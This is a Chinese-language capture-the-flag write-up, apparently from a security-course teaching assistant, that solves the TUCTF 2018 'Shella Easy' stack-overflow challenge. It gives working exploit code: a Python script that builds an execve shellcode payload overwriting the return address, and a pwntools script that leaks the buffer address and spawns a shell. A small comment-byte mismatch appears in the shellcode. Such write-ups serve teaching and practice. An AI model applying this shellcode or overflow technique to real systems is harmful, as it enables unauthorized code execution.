Write Up | TUCTF 2018 - Shella Easy

这是我当软件安全课程助教时,在栈溢出内容后布置的一道题目,二进制文件在此。题目很简单,是最基础的栈溢出问题。

首先对二进制进行简单的分析:

$ checksec shella-easy

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

NX是disable的状态,栈上可以执行代码,可以将shellcode直接放到栈上。

然后对二进制的代码逻辑进行分析,使用ghidra打开二进制文件,对main函数进行反编译,可以看到如下代码:

undefined4 main(void)

{
  char local_4c [64];
  int local_c;
  
  setvbuf(stdout,(char *)0x0,2,0x14);
  setvbuf(stdin,(char *)0x0,2,0x14);
  local_c = -0x35014542;
  printf("Yeah I\'ll have a %p with a side of fries thanks\n",local_4c);
  gets(local_4c);
  if (local_c != L'\xdeadbeef') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  return 0;
}

代码漏洞明显,在读取local_4c的时候没有对长度进行限制,可以进行栈溢出攻击,通过覆盖main函数栈帧的返回地址为shellcode地址即可。不过,程序中存在条件分支对local_c进行检查,为了使我们溢出内容覆盖的返回地址能够被放置到EIP内,而非在此之前调用exit直接退出程序,我们还需要覆盖变量local_c的值为0xdeadbeef。该程序栈的布局如下图所示:

手动进行覆盖的方法

为了切合教学内容(SEED Lab)的攻击方式,先关闭ASLR使每次运行的local_4c变量地址固定,我们手动进行一次栈溢出。我们把shellcode放到local_4c里面,然后把0xdeadbeef放入到local_c里面,并且用local_4c变量的地址覆盖main函数原来的返回地址,这样main函数返回后就会运行我们的shellcode。整体代码如下:

import sys

shellcode = (
	"\x31\xc0" 	# xorl %eax,%eax
	"\x50" 	   	# %eax
	"\x68""/zsh"	# pushl $0x68732f2f
	"\x68""/bin"	# pushl $0x6e69622f
	"\x89\xe3"	# movl %esp,%ebx
	"\x50"		# pushl %eax
	"\x53"		# pushl %ebx
	"\x89\xe1"	# movl %esp,%ecx
	"\x99"		# cdq
	"\xb0\x0b"	# movb $0x0b,%al
	"\xcd\x80"	# int $0x80
).encode('latin-1')

length = 0x40 + 0x8 + 0x4 + 0x4 # local_4c + local_c + ebp + ret addr
content = bytearray(0x90 for i in range(length))
content[0:len(shellcode)] = shellcode

val = 0xdeadbeef
ret = 0xffffd270 # local_4c的地址

content[64:68] = (val).to_bytes(4,byteorder='little')
content[76:80] = (ret).to_bytes(4, byteorder='little')

with open('badfile','wb') as fd:
	fd.write(content)

执行完成后生成badfile文件,将其内容放入标准输入流执行pwn1,即可获得shell:

# https://stackoverflow.com/questions/30972544/gdb-exiting-instead-of-spawning-a-shell
{cat badfile; cat - } | shella-easy

上述方法需要我们关闭地址随机化,手动填入local_4c的地址以生成合适的badfile。实际的ctf题目是和远程服务器上的二进制进行交互并获得flag,我们不能关闭远程服务器的ASLR。这样,我们就无法预测下一次执行时local_4c的地址并事先生成badfile。如果使用pwntools,可以实时与漏洞程序交互,根据漏洞程序打印出的local_4c地址生成传入标准输入的内容。

使用pwntools的方法

from pwn import *

sh = process('./shella-easy')
addr = sh.recvuntil(b'thanks\n').split(b' ')[4][2:]
addr = int(addr, 16)

shellcode = asm(shellcraft.i386.linux.sh())

payload = ''.encode()
payload += shellcode
payload += 'a'.encode()*(0x40-len(shellcode))
payload += p32(0xDEADBEEF) # -559038737
payload += 'a'.encode()*8
payload += p32(addr)


sh.sendline(payload)
sh.interactive()

在上述脚本中,我们启动了一个pwn1的进程,读取打印出的local_4c地址并实时生成相应的payload传递给标准输入流,以获取shell。